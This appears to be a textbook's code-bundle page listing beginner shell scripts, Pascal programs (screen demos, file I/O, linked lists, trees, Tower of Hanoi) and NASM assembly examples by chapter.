No code bundles match. Try a broader query or reset filters.
1. Foundations / 16 filesRead chapter
Book example: argdemo.sh
argdemo.shShell / 6 lines
#!/bin/sh
echo "My name is " $0
echo "I've got " $# " parameters"
echo "Here are the first three of them, in reverse order:"
echo "" "$3 $2 $1"
Book example: humpty.sh
humpty.shShell / 5 lines
#!/bin/sh
echo "Humpty Dumpty sat on a wall,"
echo "Humpty Dumpty had a great fall."
echo "All the king's horses and all the king's men"
echo "Couldn't put Humpty together again."
15 (01-12)
bash (01-02-15)
argdemo.shShell / 6 lines
#!/bin/sh
echo "My name is " $0
echo "I've got " $# " parameters"
echo "Here are the first three of them, in reverse order:"
echo "" "$3 $2 $1"
if.shShell / 7 lines
#!/bin/sh
if mkdir new_dir; then
echo "Directory created"
else
echo "Failed to make new directory"
fi
var.shShell / 9 lines
#!/bin/sh
I=10
MYFILE=/tmp/the_file_name
MYSTRING="Here are several words"
echo $I $MYFILE $MYSTRING
I=$((I+7))
echo ${I}abs
02 (01-04)
hex.pasPascal / 86 lines
program hex;
function pow(b, e: integer): int64;
var
i: integer;
begin
pow := 1;
for i := 1 to e do
pow := pow * b
end;
function cha2int(c: char): integer;
begin
if ord(c) >= ord('a') then
cha2int := ord(c) - ord('a') + 10
else
cha2int := ord(c) - ord('0')
end;
function int2cha(i: integer): char;
begin
if i >= 10 then
int2cha := chr(i - 10 + ord('a'))
else
int2cha := chr(i + ord('0'))
end;
function str2int(s: string): int64;
var
i, n: integer;
begin
n := length(s);
str2int := cha2int(s[1]);
for i := 2 to n do
str2int := str2int*10 + cha2int(s[i])
end;
function bas2num(h: string; b: integer): int64;
var
i, n: integer;
begin
bas2num := 0;
n := length(h);
for i := n downto 1 do
bas2num := bas2num + cha2int(h[i]) * pow(b, n - i);
end;
function num2bas(n: int64; b: integer): string;
var
i, e: integer;
x: int64;
begin
e := 1;
x := 1;
while x > 0 do
begin
x := n div pow(b, e);
e := e + 1;
end;
e := e - 2;
num2bas := '';
for i := e downto 0 do
begin
x := n div pow(b, i);
n := n - x * pow(b, i);
num2bas := num2bas + int2cha(x);
end
end;
var
h: string;
n: int64;
begin
h := ParamStr(1);
if ParamStr(2) = 'h' then
begin
n := bas2num(h, 16);
writeln(h, 'h -> ', n)
end
else
begin
n := str2int(h);
writeln(h, ' -> ', num2bas(n, 16), 'h')
end
end.
2. Programming in Pascal / 43 filesRead chapter
09 (02-02)
test.pasPascal / 8 lines
program test;
var
x: integer;
begin
x := 0;
x := not x;
writeln(x);
end.
Book example: diamond.pas
diamond.pasPascal / 36 lines
program diamond;
var
n, k, h, i: integer;
begin
repeat
write('Enter the diamond''s height (positive odd): ');
readln(h)
until (h > 0) and (h mod 2 = 1);
n := h div 2;
for k := 1 to n + 1 do
begin
for i := 1 to n + 1 - k do
write(' ');
write('*');
if k > 1 then
begin
for i := 1 to 2*k - 3 do
write(' ');
write('*');
end;
writeln
end;
for k := n downto 1 do
begin
for i := 1 to n + 1 - k do
write(' ');
write('*');
if k > 1 then
begin
for i := 1 to 2*k - 3 do
write(' ');
write('*')
end;
writeln
end
end.
Book example: hello20.pas
hello20.pasPascal / 11 lines
program hello20;
var
i: integer;
begin
i := 0;
while i < 20 do
begin
writeln('Hello, world!');
i := i + 1
end
end.
Book example: star_slash.pas
star_slash.pasPascal / 11 lines
program star_slash;
var
n, m: integer;
begin
for n := 1 to 24 do
begin
for m := 1 to n - 1 do
write(' ');
writeln('*')
end
end.
Book example: message_n.pas
message_n.pasPascal / 10 lines
program MessageN;
const
message = 'Hello, world!';
count = 20;
var
i: integer;
begin
for i := 1 to count do
writeln(message)
end.
Book example: diamondp.pas
diamondp.pasPascal / 35 lines
program DiamondProc;
procedure PrintSpaces(count: integer);
var
i: integer;
begin
for i := 1 to count do
write(' ')
end;
procedure PrintLineOfDiamond(k, n: integer);
begin
PrintSpaces(n + 1 - k);
write('*');
if k > 1 then
begin
PrintSpaces(2*k - 3);
write('*')
end;
writeln
end;
var
n, k, h: integer;
begin
repeat
write('Enter the diamond''s height (positive odd): ');
readln(h)
until (h > 0) and (h mod 2 = 1);
n := h div 2;
for k := 1 to n + 1 do
PrintLineOfDiamond(k, n);
for k := n downto 1 do
PrintLineOfDiamond(k, n)
end.
Book example: print_ascii.pas
print_ascii.pasPascal / 26 lines
program PrintAscii;
var
i, j: integer;
c: char;
begin
write(' |');
for c := '0' to '9' do
write(' .', c);
for c := 'A' to 'F' do
write(' .', c);
writeln;
write(' |');
for i := 1 to 16 do
write('---');
writeln;
for i := 2 to 7 do
begin
write(i, '.|');
for j := 0 to 15 do
write(' ', chr(i * 16 + j));
writeln
end
end.
Book example: char2num.pas
char2num.pasPascal / 45 lines
program ReadNumsByChar;
procedure ReadLongint(var success: boolean; var result: longint);
var
c: char;
res: longint;
pos: integer;
begin
res := 0;
pos := 0;
repeat
read(c);
pos := pos + 1
until (c <> ' ') and (c <> #10);
while (c <> ' ') and (c <> #10) do
begin
if (c < '0') or (c > '9') then
begin
writeln('Unexpected ``', c, ''''' in pos: ', pos);
readln;
success := false;
exit
end;
res := res*10 + ord(c) - ord('0');
read(c);
pos := pos + 1
end;
result := res;
success := true
end;
var
x, y: longint;
ok: boolean;
begin
repeat
write('Please type the first number: ');
ReadLongint(ok, x)
until ok;
repeat
write('Please type the second number: ');
ReadLongint(ok, y)
until ok;
writeln(x, ' times ', y, ' is ', x * y)
end.
Book example: filter_len.pas
filter_len.pasPascal / 18 lines
program FilterLength;
var
c: char;
n: integer;
begin
n := 0;
while not eof do
begin
read(c);
if c = #10 then
begin
writeln(n);
n := 0
end
else
n := n + 1
end
end.
Book example: filter_ok.pas
filter_ok.pasPascal / 12 lines
program FilterOk;
var
c: char;
begin
while not eof do
begin
read(c);
if c = #10 then
writeln('Ok')
end;
writeln('Good bye')
end.
Book example: skip_indented.pas
skip_indented.pasPascal / 28 lines
program SkipIndented;
var
c: char;
know, print: boolean;
begin
know := false;
print := false;
while not eof do
begin
read(c);
if c = #10 then
begin
if know and print then
writeln;
know := false
end
else
begin
if not know then
begin
print := (c <> ' ') and (c <> #9);
know := true
end;
if print then
write(c)
end
end
end.
Book example: a_z.pas
a_z.pasPascal / 10 lines
program a_z;
var
s: string;
c: char;
begin
s := '';
for c := 'A' to 'Z' do
s := s + c;
writeln(s)
end.
Book example: olympcount.pas
olympcount.pasPascal / 37 lines
program OlympiadCounter;
const
MaxSchool = 67;
MaxGroup = 100;
type
CountersArray = array [1..MaxSchool] of integer;
var
Counters: CountersArray;
i, c, n: integer;
begin
for i := 1 to MaxSchool do
Counters[i] := 0;
{$I-}
while not eof do
begin
readln(c);
if IOResult <> 0 then
begin
writeln('Incorrect data');
halt(1)
end;
n := c div MaxGroup;
if (n < 1) or (n > MaxSchool) then
begin
writeln('Illegal school id: ', n, ' [', c, ']');
halt(1)
end;
Counters[n] := Counters[n] + 1
end;
n := 1;
for i := 2 to MaxSchool do
if Counters[i] > Counters[n] then
n := i;
for i := 1 to MaxSchool do
if Counters[i] = Counters[n] then
writeln(i)
end.
03 (02-06)
types.pasPascal / 12 lines
program types;
type
RainbowColors =
(red, orange, yellow, green, blue, indigo, violet);
var
rc1, rc2, rc3: RainbowColors;
begin
rc1 := green;
rc2 := yellow;
rc3 := rc1 * rc2;
writeln(rc3);
end.
Book example: cmdline.pas
cmdline.pasPascal / 7 lines
program cmdline;
var
i: integer;
begin
for i := 0 to ParamCount do
writeln('[', i, ']: ', ParamStr(i))
end.
Book example: case.pas
case.pasPascal / 34 lines
program SymbolType;
var
c: char;
begin
read(c);
write('The symbol is ');
case c of
'a'..'z', 'A'..'Z':
writeln('a latin letter');
'0'..'9':
writeln('a digit');
'+', '-', '/', '*':
writeln('an arithmetic operation symbol');
'<', '>', '=':
writeln('a comparision sign');
'.', ',', ';', ':', '!', '?':
writeln('a punctuation symbol');
'_', '~', '@', '#', '$', '%', '^',
'&', '`', '|', '\':
writeln('a special purpose sign');
' ':
writeln('the space character');
#9, #10, #13:
writeln('a formatting code');
#27:
writeln('the escape code');
'(', ')', '[', ']', '{', '}':
writeln('a grouping symbol');
'"', '''':
writeln('a quoting symbol');
else
writeln('something strange')
end
end.
Book example: colordemo.pas
colordemo.pasPascal / 56 lines
program ColorsDemo;
uses crt;
const
ColorCount = 16;
BGColCount = 8;
var
AllColors: array [1..ColorCount] of word =
(
Black, Blue, Green, Cyan,
Red, Magenta, Brown, LightGray,
DarkGray, LightBlue, LightGreen, LightCyan,
LightRed, LightMagenta, Yellow, White
);
procedure MakeLine(line: integer; fgcolor: word);
var
i, w, cw: integer;
begin
w := ScreenWidth;
cw := w div BGColCount;
if cw = 0 then
cw := 1;
if line = ScreenHeight then
w := w - 1;
for i := 1 to w do
begin
GotoXY(i, line);
TextBackground(AllColors[(i-1) div cw + 1]);
if i mod 2 = 0 then
TextColor(fgcolor + blink)
else
TextColor(fgcolor);
write('*')
end
end;
procedure MakeScreen;
var
i: integer;
begin
clrscr;
for i := 1 to ScreenHeight do
MakeLine(i, AllColors[i mod ColorCount + 1])
end;
var
SaveTextAttr: integer;
begin
SaveTextAttr := TextAttr;
MakeScreen;
readln;
{write(#27'[0m');}
TextAttr := SaveTextAttr;
clrscr
end.
Book example: hellocrt.pas
hellocrt.pasPascal / 17 lines
program HelloCrt;
uses crt;
const
TheMessage = 'Hello, world!';
DelayDuration = 5000; { 5 seconds }
var
x, y: integer;
begin
clrscr;
x := (ScreenWidth - length(TheMessage)) div 2;
y := ScreenHeight div 2;
GotoXY(x, y);
write(TheMessage);
GotoXY(1, 1);
delay(DelayDuration);
clrscr
end.
Book example: getkey.pas
getkey.pasPascal / 28 lines
program GtKey;
uses crt;
procedure GetKey(var code: integer);
var
c: char;
begin
c := ReadKey;
if c = #0 then
begin
c := ReadKey;
code := -ord(c)
end
else
begin
code := ord(c)
end
end;
var
i: integer;
begin
repeat
GetKey(i);
writeln(i)
until i = ord(' ')
end.
Book example: movehello.pas
movehello.pasPascal / 77 lines
program MovingHello;
uses crt;
const
KeyLeft = -75;
KeyRight = -77;
KeyUp = -72;
KeyDown = -80;
TheMessage = 'Hello, world!';
procedure GetKey(var code: integer);
var
c: char;
begin
c := ReadKey;
if c = #0 then
begin
c := ReadKey;
code := -ord(c)
end
else
begin
code := ord(c)
end
end;
procedure ShowMessage(x, y: integer; msg: string);
begin
GotoXY(x, y);
write(msg);
GotoXY(1, 1)
end;
procedure HideMessage(x, y: integer; msg: string);
var
len, i: integer;
begin
len := length(msg);
GotoXY(x, y);
for i := 1 to len do
write(' ');
GotoXY(1, 1)
end;
procedure MoveMessage(var x, y: integer; msg: string; dx, dy: integer);
begin
HideMessage(x, y, msg);
x := x + dx;
y := y + dy;
ShowMessage(x, y, msg)
end;
var
CurX, CurY: integer;
c: integer;
begin
clrscr;
CurX := (ScreenWidth - length(TheMessage)) div 2;
CurY := ScreenHeight div 2;
ShowMessage(CurX, CurY, TheMessage);
while true do
begin
GetKey(c);
if c > 0 then { non-extended code; quit }
break;
case c of
KeyLeft:
MoveMessage(CurX, CurY, TheMessage, -1, 0);
KeyRight:
MoveMessage(CurX, CurY, TheMessage, 1, 0);
KeyUp:
MoveMessage(CurX, CurY, TheMessage, 0, -1);
KeyDown:
MoveMessage(CurX, CurY, TheMessage, 0, 1)
end
end;
clrscr
end.
Book example: movingstar.pas
movingstar.pasPascal / 99 lines
program MovingStar;
uses crt;
const
KeyLeft = -75;
KeyRight = -77;
KeyUp = -72;
KeyDown = -80;
KeyEscape = 27;
DelayDuration = 100;
procedure GetKey(var code: integer);
var
c: char;
begin
c := ReadKey;
if c = #0 then
begin
c := ReadKey;
code := -ord(c)
end
else
begin
code := ord(c)
end
end;
type
star = record
CurX, CurY, dx, dy: integer;
end;
procedure ShowStar(var s: star);
begin
GotoXY(s.CurX, s.CurY);
write('*');
GotoXY(1, 1)
end;
procedure HideStar(var s: star);
begin
GotoXY(s.CurX, s.CurY);
write(' ');
GotoXY(1, 1)
end;
procedure MoveStar(var s: star);
begin
HideStar(s);
s.CurX := s.CurX + s.dx;
if s.CurX > ScreenWidth then
s.CurX := 1
else
if s.CurX < 1 then
s.CurX := ScreenWidth;
s.CurY := s.CurY + s.dy;
if s.CurY > ScreenHeight then
s.CurY := 1
else
if s.CurY < 1 then
s.CurY := ScreenHeight;
ShowStar(s)
end;
procedure SetDirection(var s: star; dx, dy: integer);
begin
s.dx := dx;
s.dy := dy
end;
var
s: star;
c: integer;
begin
clrscr;
s.CurX := ScreenWidth div 2;
s.CurY := ScreenHeight div 2;
s.dx := 0;
s.dy := 0;
ShowStar(s);
while true do
begin
if not KeyPressed then
begin
MoveStar(s);
delay(DelayDuration);
continue
end;
GetKey(c);
case c of
KeyLeft: SetDirection(s, -1, 0);
KeyRight: SetDirection(s, 1, 0);
KeyUp: SetDirection(s, 0, -1);
KeyDown: SetDirection(s, 0, 1);
ord(' '): SetDirection(s, 0, 0);
KeyEscape: break
end
end;
clrscr
end.
Book example: rdkey.pas
rdkey.pasPascal / 13 lines
program RdKey;
uses crt;
var
c, cc: char;
begin
repeat
c := ReadKey;
cc := c;
if (cc < #32) or (cc > #126) then
cc := '?';
writeln(ord(c), ' (', cc, ')')
until c = ' '
end.
Book example: randstars.pas
randstars.pasPascal / 37 lines
program RandomStars;
uses crt;
const
DelayDuration = 20;
ColorCount = 16;
var
AllColors: array [1..ColorCount] of word =
(
Black, Blue, Green, Cyan,
Red, Magenta, Brown, LightGray,
DarkGray, LightBlue, LightGreen, LightCyan,
LightRed, LightMagenta, Yellow, White
);
var
x, y, col: integer;
SaveTextAttr: integer;
begin
randomize;
SaveTextAttr := TextAttr;
clrscr;
while not KeyPressed do
begin
x := random(ScreenWidth) + 1;
y := random(ScreenHeight) + 1;
if (x = ScreenWidth) and (y = ScreenHeight) then
continue;
col := random(ColorCount) + 1;
GotoXY(x, y);
TextColor(AllColors[col]);
write('*');
delay(DelayDuration)
end;
TextAttr := SaveTextAttr;
clrscr
end.
Book example: hellofile.pas
hellofile.pasPascal / 12 lines
program HelloFile;
const
message = 'Hello, world!';
filename = 'hello.txt';
var
f: text;
begin
assign(f, filename);
rewrite(f);
writeln(f, message);
close(f)
end.
Book example: gennumtx.pas
gennumtx.pasPascal / 21 lines
program GenerateNumTxt;
const
name = 'numbers.txt';
start = 1000;
step = 1001;
count = 100;
var
f: text;
i: integer;
n: longint;
begin
assign(f, name);
rewrite(f);
n := start;
for i := 1 to count do
begin
writeln(f, n);
n := n + step
end;
close(f)
end.
Book example: multandadd.pas
multandadd.pasPascal / 33 lines
program MultAndAdd;
var
sum, mul, n: real;
f: text;
begin
{$I-}
if ParamCount < 1 then
begin
writeln('Please specify the file name');
halt
end;
assign(f, ParamStr(1));
reset(f);
if IOResult <> 0 then
begin
writeln('Could not open ', ParamStr(1));
halt
end;
sum := 0;
while not SeekEof(f) do
begin
mul := 1;
while not SeekEoln(f) do
begin
read(f, n);
mul := mul * n
end;
readln(f);
sum := sum + mul
end;
close(f);
writeln(sum:7:5)
end.
Book example: gennumbin.pas
gennumbin.pasPascal / 21 lines
program GenerateNumBin;
const
name = 'numbers.bin';
start = 1000;
step = 1001;
count = 100;
var
f: file of longint;
i: integer;
n: longint;
begin
assign(f, name);
rewrite(f);
n := start;
for i := 1 to count do
begin
write(f, n);
n := n + step
end;
close(f)
end.
Book example: block_cp.pas
block_cp.pasPascal / 44 lines
program BlockFileCopy;
const
BufSize = 4096;
var
src, dest: file;
buffer: array [1..BufSize] of byte;
ReadRes, WriteRes: longint;
begin
{$I-}
if ParamCount < 2 then
begin
writeln(ErrOutput, 'Expected: source and dest. names');
halt(1)
end;
assign(src, ParamStr(1));
assign(dest, ParamStr(2));
filemode := 0;
reset(src, 1); { block size of 1 byte }
if IOResult <> 0 then
begin
writeln(ErrOutput, 'Couldn''t open ', ParamStr(1));
halt(1)
end;
rewrite(dest, 1);
if IOResult <> 0 then
begin
writeln(ErrOutput, 'Couldn''t open ', ParamStr(2));
halt(1)
end;
while true do
begin
BlockRead(src, buffer, BufSize, ReadRes);
if ReadRes = 0 then { end of file! }
break;
BlockWrite(dest, buffer, ReadRes, WriteRes);
if WriteRes <> ReadRes then
begin
writeln(ErrOutput, 'Error writing the file');
break
end
end;
close(src);
close(dest)
end.
Book example: erase_f.pas
erase_f.pasPascal / 18 lines
program EraseFile;
var
f: file;
begin
{$I-}
if ParamCount < 1 then
begin
writeln(ErrOutput, 'Please specify the file to erase');
halt(1)
end;
assign(f, ParamStr(1));
erase(f);
if IOResult <> 0 then
begin
writeln(ErrOutput, 'Error erasing the file');
halt(1)
end
end.
Book example: qol.pas
qol.pasPascal / 67 lines
program QOLDemo;
type
LongItemPtr = ^LongItem;
LongItem = record
data: longint;
next: LongItemPtr;
end;
type
QueueOfLongints = record
first, last: LongItemPtr;
end;
procedure QOLInit(var queue: QueueOfLongints);
begin
queue.first := nil;
queue.last := nil
end;
procedure QOLPut(var queue: QueueOfLongints; n: longint);
begin
if queue.first = nil then
begin
new(queue.first);
queue.last := queue.first
end
else
begin
new(queue.last^.next);
queue.last := queue.last^.next
end;
queue.last^.data := n;
queue.last^.next := nil
end;
procedure QOLGet(var queue: QueueOfLongints; var n: longint);
var
tmp: LongItemPtr;
begin
n := queue.first^.data;
tmp := queue.first;
queue.first := queue.first^.next;
if queue.first = nil then
queue.last := nil;
dispose(tmp)
end;
function QOLIsEmpty(var queue: QueueOfLongints) : boolean;
begin
QOLIsEmpty := queue.first = nil
end;
var
s: QueueOfLongints;
n: longint;
begin
QOLInit(s);
while not eof do
begin
readln(n);
QOLPut(s, n)
end;
while not QOLIsEmpty(s) do
begin
QOLGet(s, n);
writeln(n)
end
end.
Book example: sol.pas
sol.pasPascal / 56 lines
program SOLDemo;
type
LongItemPtr = ^LongItem;
LongItem = record
data: longint;
next: LongItemPtr;
end;
type
StackOfLongints = LongItemPtr;
procedure SOLInit(var stack: StackOfLongints);
begin
stack := nil
end;
procedure SOLPush(var stack: StackOfLongints; n: longint);
var
tmp: LongItemPtr;
begin
new(tmp);
tmp^.data := n;
tmp^.next := stack;
stack := tmp
end;
procedure SOLPop(var stack: StackOfLongints; var n: longint);
var
tmp: LongItemPtr;
begin
n := stack^.data;
tmp := stack;
stack := stack^.next;
dispose(tmp)
end;
function SOLIsEmpty(var stack: StackOfLongints) : boolean;
begin
SOLIsEmpty := stack = nil
end;
var
s: StackOfLongints;
n: longint;
begin
SOLInit(s);
while not eof do
begin
readln(n);
SOLPush(s, n)
end;
while not SOLIsEmpty(s) do
begin
SOLPop(s, n);
writeln(n)
end
end.
04 (02-10)
list.pasPascal / 52 lines
program list;
type
itemptr = ^item;
item = record
data: integer;
next: itemptr;
end;
procedure init(var p: itemptr);
begin
p := nil;
end;
procedure print(var p: itemptr);
begin
while (p <> nil) do
begin
write(p^.data, ' ');
p := p^.next
end;
writeln()
end;
procedure push(var p: itemptr; n: integer);
var
tmp: itemptr;
begin
new(tmp);
tmp^.data := n;
tmp^.next := p;
p := tmp;
end;
procedure insert(var p: itemptr; n: integer);
begin
if (p = nil) or (n < p^.data) then
push(p, n)
else
insert(p^.next, n)
end;
var
i: integer;
a: array [1..4] of integer = (1, 3, 6, 9);
p: itemptr;
begin
init(p);
for i := 4 downto 1 do
push(p, a[i]);
insert(p, 4);
print(p);
end.
Book example: hanoi.pas
hanoi.pasPascal / 27 lines
program hanoi;
procedure solve(source, target, interm, n: integer);
begin
if n = 0 then
exit;
solve(source, interm, target, n-1);
writeln(n, ': ', source, ' -> ', target);
solve(interm, target, source, n-1)
end;
var
n, code: integer;
begin
if ParamCount < 1 then
begin
writeln(ErrOutput, 'No parameters given');
halt(1)
end;
val(ParamStr(1), n, code);
if (code <> 0) or (n < 1) then
begin
writeln(ErrOutput, 'Invalid token count');
halt(1)
end;
solve(1, 3, 2, n)
end.
Book example: hanoi2.pas
hanoi2.pasPascal / 111 lines
program hanoi2;
type
pdisk = ^disk;
disk = record
k: integer;
next: pdisk;
end;
RodsArray = array [1..3] of pdisk;
procedure MoveDiskItem(var RodFrom, RodTo: pdisk);
var
tmp: pdisk;
begin
tmp := RodFrom;
RodFrom := RodFrom^.next;
tmp^.next := RodTo;
RodTo := tmp
end;
procedure MoveDisk(var rods: RodsArray; src, dst: integer);
begin
writeln(rods[src]^.k, ': ', src, ' -> ', dst);
MoveDiskItem(rods[src], rods[dst])
end;
procedure MoveSmallest(var rods: RodsArray; turn, total: integer);
var
src, dst: integer;
begin
if total mod 2 = 0 then
begin
src := (turn div 2) mod 3 + 1;
dst := src + 1;
if dst = 4 then
dst := 1
end
else
begin
src := 3 - ((turn div 2 + 2) mod 3);
dst := src - 1;
if dst = 0 then
dst := 3
end;
MoveDisk(rods, src, dst)
end;
procedure MoveLarger(var rods: RodsArray);
var
src, dst, tmp: integer;
begin
src := 1;
dst := 2;
if (rods[1] <> nil) and (rods[1]^.k = 1) then
src := 3
else
if (rods[2] <> nil) and (rods[2]^.k = 1) then
dst := 3;
if (rods[src] = nil) or
((rods[dst] <> nil) and (rods[src]^.k > rods[dst]^.k)) then
begin
tmp := src;
src := dst;
dst := tmp
end;
MoveDisk(rods, src, dst)
end;
procedure solve(n: integer);
var
rods: RodsArray;
tmp: pdisk;
i: integer;
turn: integer;
begin
for i := 1 to 3 do
rods[i] := nil;
for i := n downto 1 do
begin
new(tmp);
tmp^.k := i;
tmp^.next := rods[1];
rods[1] := tmp
end;
turn := 1;
while (rods[1] <> nil) or (rods[2] <> nil) do
begin
if turn mod 2 = 1 then
MoveSmallest(rods, turn, n)
else
MoveLarger(rods);
turn := turn + 1
end
end;
var
n, code: integer;
begin
if ParamCount < 1 then
begin
writeln(ErrOutput, 'No parameters given');
halt(1)
end;
val(ParamStr(1), n, code);
if (code <> 0) or (n < 1) then
begin
writeln(ErrOutput, 'Invalid token count');
halt(1)
end;
solve(n)
end.
Book example: hanoi3.pas
hanoi3.pasPascal / 90 lines
program hanoi3;
function IntermRod(src, dst: integer) : integer;
begin
if (src <> 1) and (dst <> 1) then
IntermRod := 1
else
if (src <> 2) and (dst <> 2) then
IntermRod := 2
else
IntermRod := 3
end;
procedure solve(n: integer);
type
TaskState = (StClearing, StLargest, StFinal);
ptask = ^task;
task = record
amount, src, dst: integer;
state: TaskState;
next: ptask;
end;
var
first, tmp: ptask;
begin
new(first);
first^.amount := n;
first^.src := 1;
first^.dst := 3;
first^.state := StClearing;
first^.next := nil;
while first <> nil do
begin
case first^.state of
StClearing:
begin
first^.state := StLargest;
if first^.amount > 1 then
begin
new(tmp);
tmp^.src := first^.src;
tmp^.dst := IntermRod(first^.src, first^.dst);
tmp^.amount := first^.amount - 1;
tmp^.state := StClearing;
tmp^.next := first;
first := tmp
end
end;
StLargest:
begin
first^.state := StFinal;
writeln(first^.amount, ': ', first^.src,
' -> ', first^.dst);
if first^.amount > 1 then
begin
new(tmp);
tmp^.src := IntermRod(first^.src, first^.dst);
tmp^.dst := first^.dst;
tmp^.amount := first^.amount - 1;
tmp^.state := StClearing;
tmp^.next := first;
first := tmp
end
end;
StFinal:
begin
tmp := first;
first := first^.next;
dispose(tmp)
end
end
end
end;
var
n, code: integer;
begin
if ParamCount < 1 then
begin
writeln(ErrOutput, 'No parameters given');
halt(1)
end;
val(ParamStr(1), n, code);
if (code <> 0) or (n < 1) then
begin
writeln(ErrOutput, 'Invalid token count');
halt(1)
end;
solve(n)
end.
Book example: match_pt.pas
match_pt.pasPascal / 51 lines
program MatchPattern;
function MatchIdx(var str, pat: string; idxs, idxp: integer): boolean;
var
i: integer;
begin
while true do
begin
if idxp > length(pat) then
begin
MatchIdx := idxs > length(str);
exit
end;
if pat[idxp] = '*' then
begin
for i := 0 to length(str)-idxs+1 do
if MatchIdx(str, pat, idxs+i, idxp+1) then
begin
MatchIdx := true;
exit
end;
MatchIdx := false;
exit
end;
if (idxs > length(str)) or
((str[idxs] <> pat[idxp]) and (pat[idxp] <> '?')) then
begin
MatchIdx := false;
exit
end;
idxs := idxs + 1;
idxp := idxp + 1;
end
end;
function Match(str, pat: string): boolean;
begin
Match := MatchIdx(str, pat, 1, 1)
end;
begin
if ParamCount < 2 then
begin
writeln(ErrOutput, 'Two parameters expected');
halt(1)
end;
if Match(ParamStr(1), ParamStr(2)) then
writeln('yes')
else
writeln('no')
end.
13 (02-11)
pattern.pasPascal / 52 lines
program pattern;
function MatchIdx(var str, pat: string; si, pi: integer): boolean;
var
i: integer;
begin
while true do
begin
if pi > length(pat) then
begin
MatchIdx := si > length(str);
exit
end;
if pat[pi] = '*' then
begin
for i := 0 to (length(str) - si + 1) do
if MatchIdx(str, pat, si+i, pi+1) then
begin
MatchIdx := true;
exit
end;
MatchIdx := false;
exit
end;
if (si > length(str)) or
((str[si] <> pat[pi]) and (pat[pi] <> '?')) then
begin
MatchIdx := false;
exit
end;
si := si + 1;
pi := pi + 1
end
end;
function Match(str, pat: string): boolean;
begin
Match := MatchIdx(str, pat, 1, 1);
end;
begin
if ParamCount < 2 then
begin
writeln(ErrOutput, 'Two parameters expected');
halt(1)
end;
if Match(ParamStr(1), ParamStr(2)) then
writeln('yes')
else
writeln('no')
end.
Book example: treedemo.pas
treedemo.pasPascal / 74 lines
program TreeDemo;
type
TreeNodePtr = ^TreeNode;
TreeNode = record
data: longint;
left, right: TreeNodePtr;
end;
TreeNodePos = ^TreeNodePtr;
function SearchTree(var p: TreeNodePtr; val: longint): TreeNodePos;
begin
if (p = nil) or (p^.data = val) then
SearchTree := @p
else
if val < p^.data then
SearchTree := SearchTree(p^.left, val)
else
SearchTree := SearchTree(p^.right, val)
end;
procedure AddToTree(var p: TreeNodePtr; val: longint; var ok: boolean);
var
pos: TreeNodePos;
begin
pos := SearchTree(p, val);
if pos^ = nil then
begin
new(pos^);
pos^^.data := val;
pos^^.left := nil;
pos^^.right := nil;
ok := true
end
else
ok := false
end;
function IsInTree(p: TreeNodePtr; val: longint): boolean;
begin
IsInTree := SearchTree(p, val)^ <> nil
end;
var
root: TreeNodePtr = nil;
c: char;
n: longint;
ok: boolean;
begin
while not eof do
begin
readln(c, n);
case c of
'?': begin
if IsInTree(root, n) then
writeln('Yes!')
else
writeln('No.')
end;
'+': begin
AddToTree(root, n, ok);
if ok then
writeln('Successfully added')
else
writeln('Couldn''t add!')
end;
else
writeln('I don''t know such command! Try "+" or "?"')
end
end
end.
Book example: frcancel.pas
frcancel.pasPascal / 42 lines
program CancelFraction;
type
num = int64;
function gcd(a, b: num) : num;
begin
while (a <> 0) and (b <> 0) do
if a > b then
a := a mod b
else
b := b mod a;
if a = 0 then
gcd := b
else
gcd := a
end;
var
x, y, d: num;
sign: boolean;
begin
readln(x, y);
if x < 0 then
begin
x := -x;
sign := true
end
else
sign := false;
if y < 0 then
begin
sign := not sign;
y := -y
end;
d := gcd(x, y);
if sign then
write('-');
writeln(x div d, ' ', y div d)
end.
Book example: frcancel_test.sh
frcancel_test.shShell / 24 lines
#!/bin/sh
OK=ok
while read a b c d ; do
res=`echo $a $b | ./frcancel`
if [ x"$c $d" != x"$res" ]; then
echo TEST $a $b FAILED: expected "$c $d", got "$res"
OK=failed
fi
done <<EOF
25 15 5 3
7 12 7 12
100 2000 1 20
EOF
if [ $OK = "ok" ]; then
echo "Everything seems okay"
exit 0
else
echo "Some tests failed"
exit 1
fi
Book example: hanoi_test.sh
hanoi_test.shShell / 13 lines
#!/bin/sh
I=1;
while [ $I -lt 10 ]; do
./hanoi $I > _HAN.$I.txt
./a.out $I > _HAN2.$I.txt
diff _HAN.$I.txt _HAN2.$I.txt || {
echo FAILED for $I
exit 1
}
I=$((I+1))
done
Book example: lngtree.pp
lngtree.ppPascal / 54 lines
unit lngtree;
interface
type
TreeNodePtr = ^TreeNode;
TreeNode = record
data: longint;
left, right: TreeNodePtr;
end;
procedure AddToTree(var p: TreeNodePtr; val: longint; var ok: boolean);
function IsInTree(p: TreeNodePtr; val: longint): boolean;
implementation
type
TreeNodePos = ^TreeNodePtr;
function SearchTree(var p: TreeNodePtr; val: longint): TreeNodePos;
begin
if (p = nil) or (p^.data = val) then
SearchTree := @p
else
if val < p^.data then
SearchTree := SearchTree(p^.left, val)
else
SearchTree := SearchTree(p^.right, val)
end;
procedure AddToTree(var p: TreeNodePtr; val: longint;
var ok: boolean);
var
pos: TreeNodePos;
begin
pos := SearchTree(p, val);
if pos^ = nil then
begin
new(pos^);
pos^^.data := val;
pos^^.left := nil;
pos^^.right := nil;
ok := true
end
else
ok := false
end;
function IsInTree(p: TreeNodePtr; val: longint): boolean;
begin
IsInTree := SearchTree(p, val)^ <> nil
end;
end.
Book example: unitdemo.pas
unitdemo.pasPascal / 30 lines
program UnitDemo;
uses lngtree;
var
root: TreeNodePtr = nil;
c: char;
n: longint;
ok: boolean;
begin
while not eof do
begin
readln(c, n);
case c of
'?': begin
if IsInTree(root, n) then
writeln('Yes!')
else
writeln('No.')
end;
'+': begin
AddToTree(root, n, ok);
if ok then
writeln('Successfully added')
else
writeln('Couldn''t add!')
end;
else
writeln('Unknown command "', c, '"')
end
end
end.
3. Assembly Language / 43 filesRead chapter
Book example: hello5.asm
hello5.asmAssembly / 11 lines
%include "stud_io.inc"
global _start
section .text
_start: mov eax, 0
again: PRINT "Hello"
PUTCHAR 10
inc eax
cmp eax, 5
jl again
FINISH
04 (03-01)
hello5-00.asmAssembly / 14 lines
%include "stud_io.inc" ; inserts the macros
global _start ; this label should be seen from outside
; the module
section .text ; code section
_start: ; label _start means that
; we have to start program from here
mov eax, 0 ; counter in eax
again: PRINT "Hello" ; use macro from "stud_io.inc"
PUTCHAR 10 ; next line
inc eax ; increase counter
cmp eax, 5 ; have we printed 5 times already?
jl again ; if not do it again
FINISH ; we need syscall to finish the program
hello5-01.asmAssembly / 11 lines
